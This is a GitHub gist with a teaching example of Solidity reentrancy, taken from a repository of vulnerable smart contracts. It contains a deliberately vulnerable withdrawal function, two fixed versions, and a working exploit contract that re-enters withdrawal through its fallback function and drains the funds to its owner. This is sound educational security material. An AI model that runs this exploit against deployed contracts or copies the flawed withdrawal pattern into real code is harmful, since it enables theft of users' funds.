Created
March 28, 2019 08:31
-
-
Save tomw1808/f88c2db2a7b897573b08cccea7c0fce3 to your computer and use it in GitHub Desktop.
This is an eample of Re-Entrancy for Solidity 0.5.5 taken from https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.5.0; | |
contract Reentrance { | |
mapping (address => uint) userBalance; | |
function getBalance(address u) public view returns(uint){ | |
return userBalance[u]; | |
} | |
function addToBalance() public payable { | |
userBalance[msg.sender] += msg.value; | |
} | |
function withdrawBalance() public { | |
// send userBalance[msg.sender] ethers to msg.sender | |
// if mgs.sender is a contract, it will call its fallback function | |
(bool success,) = msg.sender.call.value(userBalance[msg.sender])(""); | |
require(success); | |
userBalance[msg.sender] = 0; | |
} | |
function withdrawBalance_fixed() public { | |
// to protect against re-entrancy, the state variable | |
// has to be change before the call | |
uint amount = userBalance[msg.sender]; | |
userBalance[msg.sender] = 0; | |
(bool success, ) = msg.sender.call.value(amount)(""); | |
require(success); | |
} | |
function withdrawBalance_fixed_2() public { | |
// send() and transfer() are safe against reentrancy | |
// they do not transfer the remaining gas | |
// and they give just enough gas to execute few instructions | |
// in the fallback function (no further call possible) | |
uint balanceToSend = userBalance[msg.sender]; | |
userBalance[msg.sender] = 0; | |
msg.sender.transfer(balanceToSend); | |
} | |
} | |
contract ReentranceExploit { | |
bool public attackModeIsOn=false; | |
address public vulnerable_contract; | |
address payable public owner; | |
constructor() public{ | |
owner = msg.sender; | |
} | |
function deposit(address _vulnerable_contract) public payable { | |
vulnerable_contract = _vulnerable_contract ; | |
// call addToBalance with msg.value ethers | |
(bool success, ) = vulnerable_contract.call.value(msg.value)(abi.encodeWithSignature("addToBalance()")); | |
require(success); | |
} | |
function launch_attack() public{ | |
attackModeIsOn = true; | |
// call withdrawBalance | |
// withdrawBalance calls the fallback of ReentranceExploit | |
(bool success, ) = vulnerable_contract.call(abi.encodeWithSignature("withdrawBalance()")); | |
require(success); | |
} | |
function () external payable{ | |
// atackModeIsOn is used to execute the attack only once | |
// otherwise there is a loop between withdrawBalance and the fallback function | |
if (attackModeIsOn){ | |
attackModeIsOn = false; | |
(bool success, ) = vulnerable_contract.call(abi.encodeWithSignature("withdrawBalance()")); | |
require(success); | |
} | |
} | |
function get_money() public { | |
selfdestruct(owner); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment